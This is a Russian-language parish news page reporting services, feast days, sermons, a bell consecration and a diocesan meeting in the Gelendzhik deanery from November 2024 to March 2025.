• ОБЩАЯ ИСПОВЕДЬ ДУХОВЕНСТВА ГЕЛЕНДЖИКСКОГО БЛАГОЧИНИЯ

  25 марта 2025 года, в среду Крестопоклонной седмицы Великого поста, духовенство Геленджикского благочиния совершило соборное богослужение в стенах Андреевского собора.

  Перед началом Литургии священнослужители приняли участие в общей исповеди, которую провёл духовник Геленджикского благочиния протоирей Василий Плужников. Эта традиция ежегодно объединяет пастырей благочиния в дни Великого поста, напоминая о важности духовного единства и покаяния.

  Литургию Преждеосвященных Даров возглавил благочинный Геленджикского округа, настоятель собора иерей Максим Пьянков. По завершении службы верующие и духовенство совершили поклонение Животворящему Кресту Господню, укрепившись в подвиге поста молитвой и благоговением перед Святыней.

  Ежегодно в период Великого поста духовенство приступает к Таинству Покаяния для того, чтобы достойно и с чистым сердцем продолжать нести своё послушание на ниве Христовой.

  КРЕСТОПОКЛОННАЯ НЕДЕЛЯ

   23 марта Божественная Литургия в храме.

  Как путник, уставший от долгой дороги, отдыхает под раскидистым деревом, так и православные христиане, совершая духовное путешествие в Небесный Иерусалим – к Пасхе Господней, находят в середине пути «Древо крестное», чтобы под его сенью набраться сил для дальнейшего пути. Церковь выставляет, в середине Четыредесятницы, верующим Крест для того, чтобы напоминанием о страданиях смерти Господней воодушевить и укрепить постящихся к продолжению подвига поста….

  ОСВЯЩЕНИЕ КОЛОКОЛОВ В ХРАМЕ ХУТОРА БЕТТЫВ день родительской Поминальной субботы, 15 марта 2025 года, в приходе храма Феодоровской иконы Божией Матери хутора Бетта состоялось знаменательное событие — освятили колокола. Чин освящения кампанов совершил благочинный Геленджикского округа иерей Максим Пьянков, ему сослужили настоятель храма иерей Василий Колчар, диакон Илья Карпенко. За богослужением присутствовали ктиторы храма: Хрестин Евгений, Некрасов Юлиан, Хрестин Александр, со сродниками. Многие в этот торжественый день пришли для того, чтобы в первый раз услышать «голос» хуторского храма. Отец Максим в своей проповеди пожелал, чтобы колокольный звон собирал как можно больше людей в этот святой храм на молитву. А настоятель храма, иерей Василий, сердечно поблагодарил всех присутствующих, и наипаче ктиторов храма за соработничество и поддержку в развитии прихода.
  По окончании Богослужения всех присутствующих окропили святой водой. Завершился праздник общей трапезой и чаепитием.  

  В день Торжества Православия в храме совершена литургия Василия Великого

  Литургию и Чин Православия совершил настоятель храма иерей Василий Колчар 9 марта.

  Воскресенье 9 марта в 2025 году — это праздник Торжества Православия, иными словами, победы Церкви над ересями и восстановления почитания святых икон, установленного Константинопольским Собором в 843 году. Собор завершил период иконоборчества, которое заключалось в отрицании почитания икон: неправильная трактовка заповеди «не сотвори себе кумира» привела к признанию святых образов идолами.

  В этот день к литургии святителя Василия Великого присоединяется чин Торжества Православия — особая служба с чтением Апостола и Евангелия, вероучительных текстов, молитвами, пением тропарей, провозглашением многолетий. Ее составили в IX–Х веках в ознаменование победы истинной веры над еретическими учениями.

   

  Великому Посту — Великий канон

  «Эта жизнь дана вам для покаяния. Не расточайте ее на другое»
  (св. Исаак Сирин).

  Что меняется с наступлением Великого Поста? Точнее, что должно измениться? Ведь не только ограничения в пище является целью этого времени. Настроение, сами мысли и помыслы меняют ритм. И задаёт его центральная мелодия жизни в Православии — богослужение. Премудрой Церковью так устроено, что куль­ми­на­ци­ей пер­вых че­ты­рех дней Ве­ли­ко­го По­ста ста­но­вит­ся чте­ние за ве­чер­ним бо­го­слу­же­ни­ем по­ка­ян­но­го ка­но­на пре­по­доб­но­го Ан­дрея Крит­ско­го.

  В Прощёное воскресенье в храме совершена Божественная Литургия

  В воскресный день мы вспоминаем Адамово изгнание из рая — Адам и Ева нарушили  когда-то заповедь Божию и были изгнаны из рая.

  Неделей (так по православному называем мы воскресенье) сыропустной этот день называется потому, что совершается заговенье на сырную и молочную пищу (молочный сыр типа брынзы был основной скоромной пищей монахов). Наименование «изгнание Адамово» связано с тем, что само богослужение (почти все песнопения Триоди) посвящено воспоминанию создания человека, его падения и изгнания из Рая. Наконец, название «Прощеное воскресенье» обусловлено совершением вечером в этот день Чина прощения.

  Великий пост ждёт православных христиан с 3 марта. Он продлится до 20 апреля, праздника Воскресения Христова.

  В Неделю Страшного суда в храме совершена Божественная литургия

  Литургию совершил настоятель храма иерей Василий Колчар 23 февраля.

  Предпоследняя Неделя перед Великим постом имеет два названия. В Уставе она называется Неделей мясопустной или «мясопустом» по той причине, что в этот день совершается заговение на мясную пищу. Кроме того, встречается наименование «Неделя о Страшном суде», так как в этот день читается евангельское зачало, содержащее описание последнего суда Спасителя во время Второго пришествия (Мф.25:31-46).

  «Сегодня предпоследняя Неделя перед Великим постом. Еще одна — Воспоминание изгнания Адама из рая или Прощеное воскресенье. О прощение много говорит нам Святое Писание. А сегодня в Евангелии говорилось о Страшном Суде. Каждому из нас предстоит два суда — частный суд после упокоения человека и Страшный Суд по второму пришествию Христа».

  Отец Василий также обратился со словами напутствия к прихожанам: «Сегодня день, когда мы вспоминаем Страшный Суд. Мы читаем Евангелие, мы верим, что Господь хочет нас подготовить, сделать лучше. Нужно всегда помнить, что Бог — это не только милосердие, не только всепрощающая отцовская любовь, как мы слышали в притче о блудном сыне, а это еще и Праведный Судия, который каждому воздаст по делам его. И нам придется дать ответ за каждое слово, за каждое движение нашего сердца. Именно поэтому жизнь православного человека называется подвигом — мы стараемся делать добрые дела…»

  Божественная Литургия в праздник Сретения Господня

  15 февраля, в день памяти праздника Сретения Господня в храме совершена Божественная Литургия. Богослужение совершил  настоятель храма иерей Василий Колчар.

  «Праздник, который мы сегодня соблюдаем, это одновременно праздник дивной встречи и первой разлуки.

  Дивной встречи, потому что в храм, в удел Божий Единородный Божий Сын, ставший Сыном Девы, приносится, чтобы быть поставленным перед лицом Живого, вечного Бога, Отца Его прежде, чем мир не стал.

  Встреча, также, между святыми душами и ожидаемым ими Спасителем…

  Одновременно этот праздник – первая жертвенная разлука Божией Матери с Ее Божественным Сыном.»  — говорил митрополит Антоний Сурожский.

  В Неделю о мытаре и фарисее и в день собора новомучеников и исповедников Церкви Русской в храме совершена Божественная литургия

  Литургию совершил священник Алексий Ковалев 9 февраля.

  Великий пост, который в 2025 году начинается 3 марта, предваряется четырьмя подготовительными воскресеньями или, по-церковнославянски, Неделями. Их названия тесно связаны с темами евангельских отрывков, читаемых на воскресных богослужениях: это притчи, наполненные яркими образами и реалиями Древней Иудеи. Сегодня читался первый такой отрывок  — о мытаре и фарисее (Лк.18:10-14).

   

  Безупречное знание закона и огромное уважение людей сыграли с фарисеями злую шутку. Со временем они стали считать себя исключительными носителями и толкователями закона, относились к другим людям свысока и даже с некоторым пренебрежением, а их благочестие приобрело внешний, формальный характер.

  Мытарями в Евангелии называются евреи-откупщики, которые собирали со своих соплеменников налоги в пользу Рима. Их презирали, их ненавидели, а общение с ними считалось грехом. Многие из мытарей понимали греховность своего занятия, тем не менее не находили в себе мужества отказаться от него. Глубину собственного падения осознавал и герой притчи. Он не мог позволить себе даже пройти чуть дальше входа во внутренний двор и боялся даже глянуть в сторону святилища. Мытарь лишь от всего сердца вопил к Богу о том, чтобы Тот Сам решил его духовные проблемы и Сам спас его.

  Также в этот день совершается поминовение всех усопших, пострадавших в годину гонений за веру Христову. В этот день наша Церковь отмечает память христиан, пострадавших от гонений безбожной власти после революции 1917 года. Огромное множество людей были лишены свободы, гражданских прав, здоровья и даже самой жизни лишь за то, что веровали в Господа Иисуса Христа. Празднование Собора новомучеников и исповедников Церкви Русской установлено определением Архиерейского Собора в 1992 году. Его установлено совершать 25 января по ст. ст./7 февраля по н. ст. (при совпадении этого числа с воскресным днем) или в ближайшее воскресенье после него.

  Божественная Литургия в день памяти преподобного Евфимия Великого

  2 февраля, в день памяти преподобного Евфимия Великого в нашем храме иереем Василием Колчар совершена Божественная Литургия.

  Пре­по­доб­ный Ев­фи­мий Ве­ли­кий про­ис­хо­дил из Ар­ме­нии. Его мать, ис­пол­няя обет по­свя­тить сы­на Бо­гу, от­да­ла его на вос­пи­та­ние пре­сви­те­ру Ев­док­сию. Вскоре свя­той Ев­фи­мий при­нял мо­на­ше­ство и был по­свя­щен в сан пре­сви­те­ра. Од­новре­мен­но ему бы­ло по­ру­че­но управ­ле­ние все­ми го­род­ски­ми мо­на­сты­ря­ми.

  Эта должность тя­го­ти­ла по­движ­ни­ка, ис­кав­ше­го без­мол­вия, и он на 30-м го­ду сво­ей жиз­ни тай­но ушел из го­ро­да и уда­лил­ся в Фа­ран­скую Лав­ру. Там, най­дя вне мо­на­сты­ря уеди­нен­ную пу­стую хи­жи­ну, по­се­лил­ся в ней, до­бы­вая про­пи­та­ние пле­те­ни­ем кор­зин.

  По­сте­пен­но воз­ник­ло мо­на­ше­ское об­ще­жи­тие, несколь­ко ино­ков при­шло из Фа­ран­ской оби­те­ли, сре­ди них Ма­рин и Лу­ка. Управ­лять воз­ник­шим мо­на­сты­рем пре­по­доб­ный Ев­фи­мий по­ру­чил сво­е­му дру­гу Фео­к­ти­сту, а сам стал ду­хов­ни­ком бра­тии.

  Он на­став­лял свою бра­тию: «Знай­те, что же­ла­ю­щим про­во­дить ино­че­скую жизнь сле­ду­ет не иметь сво­ей во­ли, все­гда на­хо­дить­ся в по­слу­ша­нии и сми­ре­нии, а в уме иметь па­мять смерт­ную, бо­ять­ся Су­да и ог­ня веч­но­го и же­лать Цар­ства Небес­но­го».

  Божественная Литургия в праздник Крещения Господня

  В воскресенье 19 января в нашем храме иереем  Василием Колчар совершена Божественная Литургия. После праздничного богослужения прошло Великое освящение воды.

  Такой чин совершают только дважды в год, давая верующим приобщиться к святыне — Великой Агиасме. Но важно помнить — Крещенскую святую воду можно набрать в храме не только 18 и 19 января, а всю неделю! Вплоть до отдания праздника — 27 января.

  «Что такое вода? Мы все знаем, какое у нее свойство — очищение. Ведь все понимаем это, когда моем посуду. Но если нас спросят — а что сегодня за праздник? Зачем воду освещаем?

  Мы люди плотные, телесные, поэтому ищем вот этой физической возможности соединиться со Христом… И святая вода даёт нам эту возможность. А ещё большего приобщения мы получаем в таинстве Причастия Святых Христовых Тайн..» — напомнил отец Василий после службы.

  Праздник обрезания Господня

  14 января в праздник обрезания Господня и день памяти  святителя Василия Великого, в кафедральном соборе апостола Андрея Первозванного г-к. Геленджик состоялась соборная Божественная Литургия. Богослужение возглавил благочинный Геленджикского округа иерей Максим Пянков. От лица клириков и прихожан собора отец Максим в этот день  тезоименитства поздравил клирика собора а также настоятеля нашего храма иерея Василия Колчар.

  Память четырнадцати тысяч младенцев от Ирода в Вифлееме убиенных

   Божественная Литургия в первую неделю по Рождестве Христовом  12 января 2025.

  Святые мученики 14 000 младенцев убиты царем Иродом в Вифлееме. Когда пришло время совершения величайшего события — Воплощения Сына Божия и Рождения Его от Пресвятой Девы Марии, восточные волхвы увидели на небе новую звезду, предвозвещавшую рождение Царя Иудейского. Тотчас они направились в Иерусалим для поклонения Родившемуся, а звезда указывала им путь. Поклонившись Богомладенцу, они не вернулись в Иерусалим к Ироду, как он приказывал им, но, получив откровение свыше, ушли в свою страну иным путем.

  Ирод понял, что замысел его найти Младенца не осуществился, и приказал убить в Вифлееме и окрестностях всех детей мужского пола от двух лет и младше. Он рассчитывал, что среди убитых детей будет и Богомладенец, в Котором видел соперника. Погубленные младенцы стали первыми мучениками за Христа.

  Гнев Ирода обрушился и на Симеона Богоприимца, который всенародно свидетельствовал в храме о Родившемся Мессии. Когда святой старец скончался, Ирод не допустил, чтобы его достойно погребли. По повелению царя был убит святой пророк священник Захария: его умертвили в Иерусалимском храме между жертвенником и алтарем за то, что он не указал, где сын его, Иоанн, будущий Креститель Господа Иисуса Христа. Гнев Божий вскоре покарал самого Ирода: его постигла лютая болезнь, и он умер, заживо съеденный червями.

  Перед смертью нечестивый царь довершил меру своих злодеяний: убил первосвященников и книжников иудейских, родного брата, сестру и ее мужа, свою жену Мариамну и трех сыновей, а также 70 мудрейших мужей, членов Синедриона.

  В наше время, помня о младенцах из Вифлеема, мы вспоминаем обо всех убиенных — убитых просто так, без обвинения, без какого бы то ни было «состава преступления», убитых просто так, по той причине, что это было нужно многочисленным каинам и иродам.

  В день Рождества Христова в храме совершена ночная литургия

  Литургию совершил настоятель храма иерей Василий Колчар 7 января. По окончании богослужения  прихожане от отца Василия получили за колядки вкусные мандарины.

  Все мы слышали, что к Новорожденному Христу пришли волхвы с дарами. Евангелие не уточняет количество волхвов и их имена, но Церковное Предание называет троих: Каспар, Бальтазар и Мельхиор. Согласно тому же Преданию, все они впоследствии стали христианами и приняли крещение от апостола Фомы.

   

  Дары волхвов — это золото, ладан и смирна, которые волхвы принесли в дар новорожденному Младенцу Христу. На Рождество принято дарить друг другу подарки. Эта традиция восходит не только к образу святого Николая, который стал прототипом Санта-Клауса. У нее есть и евангельские корни — история волхвов и их даров.

   

  Дары волхвов имеют и пророческое значение: золото — как дар Царю, ладан — как дар Первосвященнику и Богу, смирна — как дар смертному Человеку. Они по сей день хранятся в 10 специальных ковчегах на Святой горе Афон (Греция) в монастыре святого Павла. Сейчас золото представляет собой 28 пластинок различной геометрической формы с разными узорами, которые ни разу не повторяются. Смирну и ладан соединили вместе, сейчас это около 70-ти темных шариков, похожих по форме на маслины. Они нанизаны на серебряную нить, которая крепится к золотым пластинам. Соединенные ладан и смирна также несут символическое значение: соединившись, они напоминают о двух природах Иисуса Христа — Божественной и человеческой.

  Рождественская елка

  6 января 2025 светлого праздника Рождества Христова  в нашем храме для юных прихожан состоялся рождественский утренник «Рождественская елка». Настоятель храма иерей Василий Колчар рассказал  детям о празднике Рождества Христова. Дети рассказывали стишки и колядки. Всем были вручены вкусные подарки.

  Рождественский сочелник

  Все мы ждем великого праздника — Рождества Христова. День, когда Небо и земля встретились. Когда Христос сошел к нам, ради нас. Он родился, как Человек, чтобы спасти каждого от вечной смерти. Но понимаем ли мы смысл праздника? Давайте перед Рождеством попробуем составить небольшой словарик.

   

  Рождественский сочельник (Навечерие Рождества Христова) – это последний день Рождественского поста, канун Рождества Христова. Этот день в Православном календаре 6 января.

   

  Соче́льник (навечерие) – день накануне праздника Рождества Христова (Рождественский сочельник) или Богоявления (Крещенский сочельник).

  Проводится в особо строгом посте (по обычаю принято не вкушать пищи до появления первой звезды (выноса свечи на богослужении).

  Происходит от слова «сочиво» – размоченные в воде зерна пшеницы, ржи, овса, по традиции блюдо, вкушаемое в этот день).

   

  Рождественская литургия обычно совершается ночью в соединении со всенощной службой, после сорокадневного Рождественского поста. Это ранняя литургия. Поздняя служится утром 7 января. Та­ких служб в го­ду очень ма­ло, в боль­шин­стве при­ход­ских хра­мов ноч­ные ли­тур­гии слу­жат­ся толь­ко на Рож­де­ство и Пас­ху – осо­бо тор­же­ствен­ные служ­бы по тра­ди­ции со­вер­ша­ют­ся но­чью.

   

  «Пост до первой звезды» — это выражение свя­за­но с вос­по­ми­на­ни­ем яв­ле­ния звез­ды на Во­сто­ке (Мф.2:2), воз­ве­стив­шей о рож­де­нии Хри­ста. В конце Литургии совершаемой в сочельник, из алтаря выходит духовенство, впереди несут горящую свечу, которая и напоминает нам свет Вифлеемской звезды, возвестившей миру о Рождении Спасителя. Именно до этого момента и принято поститься.

   

  Святки — дни от Рождества до Крещенского сочельника (7-18 января). В этот период отменяется пост в среду и пятницу.

   

  Коляда́ – народное названия дня Рождественного сочельника или дня празднования Рождества Христова, а также периода, продолжающегося от Рождества Христова до Крещения Господня (преимущественно это слово употребляется в южнославянских областях, где живы элементы язычества; случается, что в этих областях (да и не только в этих) празднование Рождества сопровождается гаданиями и языческими обрядами, которые искажают суть праздника).

   

  Коля́дки – праздничные народные рождественские песнопения. Как правило, у них нет авторов. Они дают смысловой настрой празднику. Как правило колядка, это маленький рождественский рассказ о величайшем событии и прославление главных лиц той ночи, ночи, которая принесла самую радостную, самую главную весть – родился Спаситель мира!

   

  29 декабря 2024 г.

  Неделя 27-я по Пятидесятнице, святых праотец

  Все ветхозаветные Праотцы Господа по плоти от Адама до Авраама имели в себе твердую веру в Обетованного Спасителя, любовь к Нему и ближним, они любили правду и истину…

  Все праведные люди Ветхого Завета чем сильнее начинали бороться с грехом, тем больше чувствовали свое бессилие без помощи Божией. Поэтому они с воплем крепким и со слезами взывали к Богу и получали эту помощь по вере в грядущаго Искупителя.

  Они побеждали свою плоть, мир и диавола, с помощью Божией побеждали Царства, заграждали уста львов, угашали силу огня, творили правду, получали обетования, избегали острия меча, были крепки на войне, прогоняли полки чужих, жены получали умерших своих воскресшими, иные же замучены были, не приняв освобождения, дабы получить лучшее воскресение. Другие испытали поругания и побои, узы и темницу, были побиваемы камнями, перепиливаемы, подвергаемы пытке; умирали от меча; скитались в милотях и козьих кожах, терпя недостатки, скорби и озлобления.

  Ветхозаветным праведникам было труднее спасаться, чем нам, христианам. Там был закон карающий, а здесь благодать милующая. В любое время мы можем покаяться Господу и существенно соединиться с Ним в таинстве Святого Причащения.

  Будем подражать вере и добродетелям наших ветхозаветных праотцев. Господь заповедал нам быть светильниками миру: «Да светит свет ваш пред людьми, чтобы они видели ваши добрые дела и прославляли Отца вашего Небесного» (Мф. 5, 16) и обращаться к вере и спасению.

  Да укрепит всех нас Господь в совершенной любви к Нему и ко всему небесному и соделает нас наследниками Своего Царства. Аминь.

   

  ЕЖЕГОДНОЕ ЕПАРХИАЛЬНОЕ СОБРАНИЕ НОВОРОССИЙСКОЙ ЕПАРХИИ

  27 декабря 2024 года в административном здании Андреевского кафедрального собора города Геленджика, под председательством правящего архиерея Новороссийской епархии Преосвященнейшего Сергия, епископа Новороссийского и Геленджикского, состоялось ежегодное Епархиальное собрание Новороссийской епархии.

  В Епархиальном собрании приняли участие клирики приходов Новороссийской епархии, сотрудники епархиальных отделов и комиссий.

  Согласно Уставу, были избраны, секретарь собрания и два лица для подписания протокола собрания. Владыка Сергий представил свой доклад по итогам 2024 года. Были приведены статистические данные о храмах, духовенстве, воскресных школах в Новороссийской епархии. Рассмотрены основные задачи на предстоящий год. Далее с докладами выступили руководители епархиальных отделов.

  В заключительном слове владыка Сергий поблагодарил за работу епархиальные структуры и пожелал помощи Божией в дальнейшем труде на благо Церкви Христовой.

  Божественная Литургия в праздник Зачатия праведной Анной Пресвятой Богородицы

  В воскресенье 22 декабря празднуется Зачатие праведною Анною Пресвятой Богородицы. Также в этот день чувствуется икона Божией Матери, именуемая «Нечаянная Радость».

  В этот день в нашем храме иереем Василием Колчар совершена Божественная Литургия.

  «Сегодня Святая Церковь празднует Зачатие праведной Анной Пресвятой Богородицы, той Жены, Семя Которой — Спаситель мира Христос — сотрет главу змия.

  Помимо радости исполнения пророчества, данного людям еще в раю, этот праздник учит нас верить, надеяться и не сдаваться в духовной брани, даже если нам кажется порой, что мы духовно бесплодны.

  Ведь св. прав. Иоаким и Анна состарились в молитвах, терпя от окружающих поношения за бесчадность, прежде чем Бог услышал их мольбу.

  Зато дарованный им за терпение в вере плод чрева превзошел в славе и совершенстве не только всех живших на земле людей, но и бесплотных Ангелов, ибо от их Дочери, Которую ублажают все роды, произошло спасение миру» — писал игумен Леонтий (Козлов).

  Божественная Литургия в день памяти святителя Николая

  19 декабря, в день памяти святителя Николая Мирликийского, в нашем храме иереем Василием Панковым совершена Божественная Литургия.

  «Однажды и я почувствовал такое скорое предстательство за нас святителя Николая.. Это конечно такое меркантильное желание — я попросил и помощь пришла. Такое отношение конечно бывает и у язычников. Но я верю что именно на пути к Богу происходят такие случаи укрепления в вере. В том числе Господь нам показывает, что святые это не просто люди, которые были и умерли. А остаются живыми рядом с нами, помогают нам и помогают приводить к вере людей…» — поделился отец Василий.

  А еще в этот праздничный день батюшка праздновал юбилей, 10 лет  своей диаконской хиротонии. С чем его прихожане сердечно и поздравили.

  В воскресный день в храме совершена Божественная литургия

  Литургию совершил настоятель храма иерей Василий Колчар 15 декабря. В воскресенье двадцать пятое по Пятидесятнице Церковь вспоминает пророка Аввакума, преподобных Иоанна, Ираклемона, Андрея и Феофила, и двух Афанасиев, затворников Печерских. Мученицу Миропию Хиосскую, святителя Иессея, епископа Цилканского и сербского царя Стефана Уроша чествует Церковь в этот воскресный день.

  Святой пророк Аввакум — один из двенадцати так называемых «малых пророков». Аввакум жил в середине седьмого века до Рождества Христова. Он предрек нашествие на Иудею вавилонян, разрушение Иерусалимского храма, Вавилонское пленение иудеев и возвращение пленных на родину.

  Во время войны с вавилонянами пророк удалился в Аравию, где с ним произошло чудо. Когда он нес обед жнецам, ему встретился Ангел Господень и мгновенно перенес его в Вавилон, где в это время томился в темнице знаменитый пророк Даниил. Аввакум накормил гонимого пророка. После окончания войны с вавилонянами Аввакум вернулся в свое отечество и умер в глубокой старости.

  В день Отдания праздника Введения во Храм Пресвятой Богородицы в храме совершена Божественная литургия

  Богослужение совершил иерей Василий Колчар 8 декабря. Кроме Отдания всеми любимого праздника Введения во Храм Богородицы, воскресный день для всех православных христиан — малая Пасха, и они стараются быть в храме и причаститься Святых Христовых Таин.Праздник Введения во храм Богородицы — самый поздний среди двунадесятых. До VIII века воспоминание введения Девы Марии во храм было содержанием праздника Рождества Богородицы. В X и особенно в XI веке праздник уже приобретает торжественное богослужение, предпразднство и попразднство, то есть основные черты, присущие великим праздникам. Введение Девы Марии во Храм было связано с Её посвящением Богу. Богоугодная жизнь Девы Марии при Храме сказалась на Её духовно-нравственном совершенстве, на готовности к будущей миссии быть Матерью Бога по человеческому естеству.

  Литургия в день праздника Введения во храм Пресвятой Богородицы

  4 декабря верующие встречают праздник Введения во храм Пресвятой Богородицы.  В этот день в храме была совершена Божественна литургия.

   Мы почитаем, дорогие братья и сестры, Божию Матерь, прославляем Ее как Матерь всего человеческого рода. Почему же Пресвятая Богородица достигла таких высот, почему Она воспринимается всеми нами, как Матерь рода человеческого и почему, самое главное, Ее возвысил наш Господь?

  Ответом отчасти является то праздничное событие, которое мы с вами отмечаем сегодня. Мы знаем о том, что родители Девы Марии дали Богу обещание после рождения Дочери посвятить Ее Богу. А сегодня мы прославляем Божию Матерь по случаю праздника Ее вхождения в Божий храм. И одно дело – желание родителей, а другое – сознательное желание самой Девы Марии. Конечно, Она была еще очень юна: церковные песнопения говорят о том, что Ей было всего лишь три годика – «трилетствующая». Тем не менее, Она сознательно пошла в храм и взошла по ступеням ветхозаветного святилища. И с тех пор Она воспитывалась при храме, не слышала голоса матери, не пользовалась материнской любовью, но воспитывалась как дочь в доме Божием.

  Этот праздник, дорогие братья и сестры, для всех нас является важным и ясным посланием: если мы хотим, чтобы Бог нас возлюбил, мы должны быть ближе к Нему, должны стремиться в Его храм. И это должно быть не просто желание получить какие-то земные блага вроде здоровья и благополучия, но желание быть с Богом, любить Его. Дева Мария в том юном возрасте, конечно, не могла подумать о каких-то земных благах и прочей суетной мотивации. Очевидно, Ее сердце горело любовью к Богу, и Она, чувствуя, где Источник жизни, пошла по направлению к Нему. Она отдала Богу всю Себя, юную и чистую, не испачканную грязью жизни. К этому призван и каждый из нас, дорогие братья и сестры. Но когда чаще всего человек приходит в храм? Когда жизнь его уже побила, когда он начерпался грязи в разных нечистых местах, и только потом, как блудный сын или дщерь, человек приходит в Создателю. Но Господь хочет от нас другого – чтобы самые лучшие наши мысли, помышления мы отдали не этому суетному миру, лежащему в грехах, но чтобы мы отдали их Богу по образу Божией Матери. Прекрасно, что сегодня в храме присутствуют и люди среднего и пожилого возраста, и дети. Но самое главное – что ими движет: желание родителей, надежда получить какое-то награждение от старших, или же это сознательное стремление к Богу.

  Бог ценит в человеке именно бескорыстное желание общаться с Ним, принести Ему в дар свои чувства, мысли, всю свою жизнь. Дай Бог нам, дорогие братья и сестры, вдохновляться примером юной Девы Марии и стараться хотя бы напоследок принести Богу не только скверное свое житие, но что-то хорошее, доброе, посвятить Ему свое время, какие-то добрые дела, хоть что-то воздать Богу, дарующему нам постоянно Свои милости.

  В завершение отец Василий поздравил всех с праздником и выразил надежду, что пример Божией Матери будет для каждого путеводной звездой в земной жизни.

  Об отношении к Божиим дарам и милости. Литургия в Неделю 23-ю по Пятидесятнице

  01 декабря 2024.

  В Неделю 23-ю по Пятидесятнице, 1 декабря, настоятель храма иерей Василий Колчар совершил Божественную литургию.

  По окончании богослужения батюшка обратился к верующим с наставлением, посвятив его образу из притчи, звучавшей в евангельском чтении этого дня:

  – Сегодня во время литургии, дорогие братья и сестры, мы с вами слышали знаменитую притчу Христа Спасителя о богатом человеке, которая завершается беспощадным и безжалостным приговором Спасителя – «безумный!». За что же этот человек удостоился столь суровой оценки Господа?

  Начало этой притчи не сулит ничего необычного: Спаситель повествует о том, как у одного человека случился большой урожай. Само по себе это явление нельзя назвать чем-то особенным, ведь и мы с вами все вместе, дорогие братья и сестры, молимся Господу, чтобы Он ниспослал бы нам Свои обильные, великие и богатые милости. И в этом смысле богатый урожай – это проявление милости Божией нуждающемуся человеку, Божий дар, отражение культуры человеческого труда. За этим следует размышление персонажа из притчи о том, как поступить с урожаем, и он принимает решение разрушить старые хранилища, чтобы вместить весь собранный урожай. И это тоже нормальное решение, в котором проявляется разумный экономический подход. Страшное начинается потом, когда человек начинает рассуждать в себе, планируя будущее и излагая свою философию жизни: «Душа, ешь, пей, веселись!». Причем этот человек строит планы такого беззаботного времяпровождения на многие годы вперед, ведь богатый урожай создает предпосылки таких возможностей.

  Примечательно, что этот человек рассуждает о себе. Обычно же, когда мы говорим о материальном содержании, мы приобретаем какие-то ценности для людей в своей семье или в среде своих близких знакомых. Здесь же рассуждение поражает своим эгоизмом – в мыслях этого человека нет никого, кроме него самого! Он мыслит о себе и называет богатство своим, хотя это, безусловно, Божией дар, милость Божия.

  «Ешь, пей, веселись» – этот идеал был известен в древнем языческом обществе с некоторыми вариациями, хотя обычно два первых элемента в нем присутствуют всегда: ешь и пей. Но человек не в состоянии планировать свои дни и никакие деньги не могут дать ему дополнительную жизнь сверх отмеренной. Казалось бы, Божественный дар, экономическая целесообразность, культура земледелия, с одной стороны, не являются чем-то плохим. Но в свете Божественной Премудрости все это становится чистым безумием, когда человек планирует употребить это только для себя. Вспомним странствие евреев по пустыне, как евреи собирали манну. Ее давал Господь, и она была свежей только лишь в течение одного дня. И каждый следующий день давал новую порцию манны. И только накануне субботнего дня евреи собирали двойную порцию манны, и она не портилась.

  Божественная мудрость, слова Спасителя учат нас, что все нами получаемое – Божий дар, и мы не должны собирать чрезмерные богатства для себя, но разделять этот дар со своими ближними. Дай Господь нам не уподобляться этому безумному богачу, но вдохновляться идеями Божественной премудрости и любви к ближним.

  В Неделю 22-ю по Пятидесятнице  24 ноября в храме совершена Божественная литургия

   

  В этот день Церковь вспоминает великомученика Мину Котуанского, мучеников Виктора и Стефаниду, Викентия Валенсийского и Стефана Дечанского, преподобных Феодора Студита и Мартирия Зеленецкого. Собор Аланских святых, блаженного Максима Московского, Христа ради юродивого, и священномученика Евгения Васильева почитает Церковь в этот воскресный день.

   

  Великомученик Мина Котуанский (Фригийский) был египетским воином и служил в городе Котуане, а после начала гонений на христиан удалился в горы для духовных подвигов. Однажды святой Мина вернулся в Котуан и обличил язычников. Мученик отказался принести жертву «богам», принял жесточайшие муки, после которых был обезглавлен. Тело святого приказано было сжечь. Христиане положили останки в храме его имени, построенном после прекращения гонений на месте кончины великомученика.

   

  Преподобный Феодор Студит, игумен, исповедник родился в 758 году в Константинополе, в семье сборщика царских податей. Он получил серьезное образование. В то время в империи широко распространилась ересь иконоборцев, которую поддерживал император Константин Копроним. Отец Феодора не разделял эти взгляды и оставил государственную службу. Вскоре родители преподобного по обоюдному согласию расстались и приняли монашеский постриг. А их сын Феодор со временем стал широко известен, участвуя в многочисленных тогда диспутах об иконопочитании. Через несколько лет он принял монашество, а со временем стал игуменом монастыря. За догматические сочинения, в частности, устав для Студийского монастыря, а также написанные им каноны, преподобного Феодора назвали «пламенным учителем Церкви». Он пережил немало ссылок. В зависимости от того, кто правил империей — иконоборец или почитающий иконы император, Феодора то ссылали, то возвращали из изгнания. По преданию преподобный Феодор знал о своей предстоящей кончине. Он призвал братию и завещал им хранить Православие и почитать святые иконы.

   

  Блаженный Максим Московский, Христа ради юродивый, чудотворец — первый московский юродивый, жил в пятнадцатом веке. Он избрал один из самых трудных путей к спасению — мнимое безумие. На Руси очень любили юродивых, ценили их смирение, внимали их мудрости. Летом и зимой блаженный Максим ходил почти совсем нагим. Он говорил: «Хоть люта зима, но сладок рай». Блаженный Максим поддерживал и утешал простых людей: «Оттерпимся, и мы люди будем… Исподволь и сырые дрова загораются… За терпение даст Бог спасение». А его гневные обличения страшили знатных и неправедных. Он говорил: «Божница домашня, а совесть продажна… Всяк крестится, да не всяк молится…». Блаженный Максим скончался в тысяча четыреста тридцать четвертом году. Его похоронили в ограде церкви святых князей Бориса и Глеба, в которой блаженный любил молиться. Через сто лет на месте этого храма была построена церковь, которую освятили во имя святого Максима, Христа ради юродивого.

  В день Собора всех бессребреников в храме совершена Божественная Литургия

  Сегодня, 17 ноября чествуется память преподобного Иоанникия Великого, священномученика Никандра, епископа Мирского, и Ермея пресвитера. А также блаженного Симона, Христа ради юродивого, Юрьевецкого. В нашем храме иереем Олегом Харитоновым совершена Божественная Литургия и водосвятный молебен.

  В этот же день — Собор всех Бессребреников.

  Это празднование — проходит в воскресенье, ближайшее к 14 ноября.

  Как известно, бессребрениками называются угодники Божии, которые безвозмездно исцеляли людей и домашний скот, используя при этом не столько естественные врачебные навыки и знания, сколько благодатный дар молитвы и чудодействования. Поэтому их еще называют чудотворцами.

  Впервые общая память святых бессребренников была объединена в Русском Свято-Пантелеимоновом монастыре на Афоне, где ежегодно совершается бдение в честь их общего собора в ближайшее воскресенье к 1 ноября (память свв. Космы и Дамиана Асийских). Причиной этому послужило то, что в русской святогорской обители хранятся мощи всех святых бессребреников, частички которых собраны в одном ковчеге, который и выносится для поклонения в день их общей памяти.

  В день памяти святителя Димитрия Ростовского в храме совершена Божественная литургия

